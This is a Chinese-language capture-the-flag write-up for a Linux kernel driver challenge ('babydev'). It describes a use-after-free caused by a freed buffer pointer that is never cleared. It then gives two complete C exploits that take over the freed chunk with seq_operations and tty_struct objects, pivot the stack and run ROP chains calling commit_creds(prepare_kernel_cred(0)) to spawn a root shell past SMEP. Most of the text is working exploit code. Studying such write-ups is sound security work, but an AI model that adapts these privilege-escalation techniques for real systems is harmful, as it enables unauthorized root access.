启动脚本
#! /bin/sh
qemu-system-x86_64 \-initrd rootfs.cpio \-kernel bzImage \-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' /dev/null \-m 64M --nographic \-smp cores=1,threads=1 -cpu kvm64,+smep
只可开启了smep保护
题目信息
babyopen
每次open(驱动名称),都会为babydev_struct.device_buf
全局变量分配0x40大小的堆空间
babyrelease
关闭close(驱动文件描述符),会通过kfree()释放掉申请的堆空间,但是这里有个问题,没有将babydev_struct.device_buf
置NULL
这里便存在一个问题,当连续两次打开驱动时,fd1,fd2 babydev_struct.device_buf
指向的是同一个堆空间
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
当close(fd1),由于没将babydev_struct.device_buf
置NULL,导致fd2可以继续读写babydev_struct.device_buf
指向的堆空间,UAF形成
babyioctl
这里,可能题目还是怕选手觉得难,可以让选手创建任意大小的UAF
利用方式
下面两种都用方式大致相同
- 通过babyopen,babyopen让两个文件描述符fd1,fd2指向同一个
babydev_struct.device_buf
- babyioctl,
command==0x10001
,调整babydev_struct.device_buf指向的堆为自己期望的大小 - close(fd1); (
babydev_struct.device_buf
指向的堆被kfree) - 用户层调用,使产生合适的堆结构占据被释放掉的堆
- 读这个堆结构,可以获取其中包含的内核函数地址,经过简单计算可以获取内核基地址
- 写这个堆结构,覆写里面的函数指针
保存的地址
,使得
在用户态操作时,可以触发函数指针执行 - 由于存在
smep
保护,一般被覆写里面的函数指针为一个栈迁移rop,然后在用户态布置rop提权
UAF seq_operations
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>// commands
#define DEV_PATH "/dev/babydev" // the path the device is placed// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4 * PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)// globals
// (END globals)// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void *)0
#define errExit(msg) \do \{ \perror(msg); \exit(EXIT_FAILURE); \} while (0)
#define KMALLOC(qid, msgbuf, N) \for (int ix = 0; ix != N; ++ix) \{ \if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \errExit("KMALLOC"); \}
ulong user_cs, user_ss, user_sp, user_rflags;void NIRUGIRI(void)
{char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};execve("/bin/sh", argv, envp);
}
// should compile with -masm=intel
static void save_state(void)
{asm("movq %0, %%cs\n""movq %1, %%ss\n""movq %2, %%rsp\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}static void shellcode(void)
{asm("xor rdi, rdi\n""mov rbx, QWORD PTR [rsp+0x50]\n""sub rbx, 0x244566\n""mov rcx, rbx\n""call rcx\n""mov rdi, rax\n""sub rbx, 0x470\n""call rbx\n""add rsp, 0x20\n""pop rbx\n""pop r12\n""pop r13\n""pop r14\n""pop r15\n""pop rbp\n""ret\n");
}
// (END utils)/******* babydev ****************/
#define INF 1 << 31
size_t current_size = INF;int _open()
{int _fd = open(DEV_PATH, O_RDWR);assert(_fd > 0);current_size = 0x40;return _fd;
}void _write(int fd, char *buf, size_t size)
{assert(size < current_size);assert(write(fd, buf, size) >= 0);
}void _realloc(int fd, size_t size)
{assert(ioctl(fd, 0x10001, size) == 0);current_size = size;
}void _close(int fd)
{assert(close(fd) >= 0);
}void _read(int fd, char *buf, size_t size)
{assert(size < current_size);assert(read(fd, buf, size) > 0);
}
/******* (END babydev) *************//*** gadgets ***/
/*
0xffffffff810eefd0: mov esp, 0x5DFFFA88 ; ret ; (1 found)
0xffffffff81018062: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (1 found)
0xffffffff810a1810 T prepare_kernel_cred
0xffffffff810a1420 T commit_creds
0xffffffff8102a4a5: mov rax, rdi ; pop rbp ; ret ; (32 found)
0xffffffff8181a797: 48 cf iretq
0xffffffff8100700c: pop rcx ; ret ; (25 found)0xffffffff81063694: 0f 01 f8 swapgs
0xffffffff81063697: 5d pop rbp
0xffffffff81063698: c3 ret*/void gen_chain(ulong *a, const ulong kernbase)
{scu pop_rdi = 0x3e7d9d;scu prepare_kernel_cred = 0x0a1810;scu rax2rdi_rep_pop_rbp = 0x018062;scu pop_rcx = 0x00700c;scu commit_creds = 0x0a1420;scu swapgs_pop_rbp = 0x063694;scu iretq = 0x81a797;save_state();*a++ = pop_rdi + kernbase;*a++ = 0;*a++ = prepare_kernel_cred + kernbase;*a++ = pop_rcx + kernbase;*a++ = 0;*a++ = rax2rdi_rep_pop_rbp + kernbase;*a++ = 0;*a++ = commit_creds + kernbase;*a++ = swapgs_pop_rbp + kernbase;*a++ = 0;*a++ = iretq + kernbase;*a++ = &NIRUGIRI;*a++ = user_cs;*a++ = user_rflags;*a++ = user_sp;*a++ = user_ss;*a++ = 0xdeadbeef; // unreachable
}/************ MAIN ****************/int main(int argc, char *argv[])
{char buf[0x2000];int fd[0x10];int statfd;// 1、UAFfd[0] = _open();fd[1] = _open();_realloc(fd[0], 0x20); // kmalloc 0x20的UAF_close(fd[0]);// 2、leak kernbase 获取 kernel basestatfd = open("/proc/self/stat", O_RDONLY); // 产生一个 seq_operations 结构体assert(statfd > 0);_read(fd[1], buf, 0x10); // 读取 seq_operations结构体const ulong single_start = ((ulong *)buf)[0];const ulong kernbase = single_start - 0x22f4d0UL;printf("[!] single_start: %lx\n", single_start);printf("[!] kernbase: %lx\n", kernbase);// 3、prepare chain and get RIP 当前环境smep,no-smapconst ulong gadstack = 0x5DFFFA88; // mov esp, 0x5DFFFA88,目的是通过栈迁移,跳转到这个地址执行// mmap申请的地址需要页对齐const char *maddr = mmap(gadstack & ~0xFFF, 4 * PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);const ulong **chain = maddr + (gadstack & 0xFFF);// 在栈迁移后的地址上,布置提权代码gen_chain(chain, kernbase);((ulong *)buf)[0] = kernbase + 0x0eefd0; // 0xffffffff810eefd0 mov esp, 0x5DFFFA88 ; ret ;_write(fd[1], buf, 0x8); // 修改 seq_operations结构体 中的 start指针// NIRUGIRIread(statfd, buf, 1); // 触发 start指针return 0;
}/*
cdev: 0xffffffffc0002460
fops: 0xffffffffc0002000
kmem_cache_alloc_trace: 0xffffffff811ea180
babyopen: 0xffffffffc0000030
babyioctl: 0xffffffffc0000080
babywrite: 0xffffffffc00000f0
kmalloc-64: 0xffff880002801b00
kmalloc-64's cpu_slub: 0x19e80
babydev_struct: 0xffffffffc00024d0
*/
UAF tty_operations
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;static void save_state() {__asm__("mov %0, cs": "r=" (user_cs) : "r" (user_cs));__asm__("mov %0, ss": "r=" (user_ss) : "r" (user_ss));__asm__("pushfq");__asm__("popq %0": "r=" (user_rflags) : "r" (user_rflags));
}unsigned long pivot_gadget = 0xffffffff814f5359; // 0xffffffff814f5359: mov esp, 0x01740100 ; ret ; (1 found)
unsigned long pop_rdi = 0xffffffff810d238d; // 0xffffffff810d238d: pop rdi ; ret ; (58 found)
unsigned long mov_rdi_rax_call_rdx_pop_rbp = 0xffffffff8180c4a2; // 0xffffffff8180c4a2: mov rdi, rax ; call rdx ; (1 found)
unsigned long pop_rdx = 0xffffffff8144d302; // 0xffffffff8144d302: pop rdx ; ret ; (1 found)
unsigned long prepare_kernel_cred = 0xffffffff810a1810; // ffffffff810a1810 T prepare_kernel_cred
unsigned long commit_creds = 0xffffffff810a1420; // ffffffff810a1420 T commit_creds
unsigned long iretq = 0xffffffff8181a797;
unsigned long swapgs_pop_rbp = 0xffffffff81063694; // 0xffffffff81063694: swapgs ; pop rbp ; ret ; (1 found)int fd, fd2;
unsigned long fake_tty_operations[0x100/8];
unsigned long fake_file[0x100/8];
unsigned long orig_file[0x100/8];void shell(void) {write(fd, orig_file, 0x100-1);char *args[] = {"/bin/sh", 0};execve("/bin/sh", args, 0);
}int main(void) {int fds[0x100];char buf[0x100];unsigned long *fake_stack;save_state();fake_stack = mmap(0x01740000-0x8000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);fake_stack += (0x8100/8);*fake_stack++ = pop_rdi;*fake_stack++ = 0;*fake_stack++ = prepare_kernel_cred;*fake_stack++ = pop_rdx;*fake_stack++ = commit_creds + 6;*fake_stack++ = mov_rdi_rax_call_rdx_pop_rbp;*fake_stack++ = swapgs_pop_rbp;*fake_stack++ = 0xdeadbeef;*fake_stack++ = iretq;*fake_stack++ = (unsigned long)&shell;*fake_stack++ = user_cs;*fake_stack++ = user_rflags;*fake_stack++ = 0x01740000;*fake_stack++ = user_ss;puts("open twice /dev/babydev");fd = open("/dev/babydev", O_RDWR);fd2 = open("/dev/babydev", O_RDWR);if (fd < 0 || fd2 < 0) {puts("open error");exit(1);}puts("call kmalloc(256)");ioctl(fd, 0x10001, 256);puts("overlap tty_struct with freed chunk");close(fd2);for (int i=0; i<0x100; i++) {fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR);}puts("cause UAF");read(fd, fake_file, 0x100-1);memcpy(orig_file, fake_file, 0x100);fake_tty_operations[8] = pivot_gadget;fake_file[5] = &fake_tty_operations;write(fd, fake_file, 0x100-1);puts("trigger tty->ops->ioctl");for (int i=0; i<0x100; i++) {ioctl(fds[i], 0xdeadbeef, 0xbeefbabe);close(fds[i]);}while(1) {}return 0;
}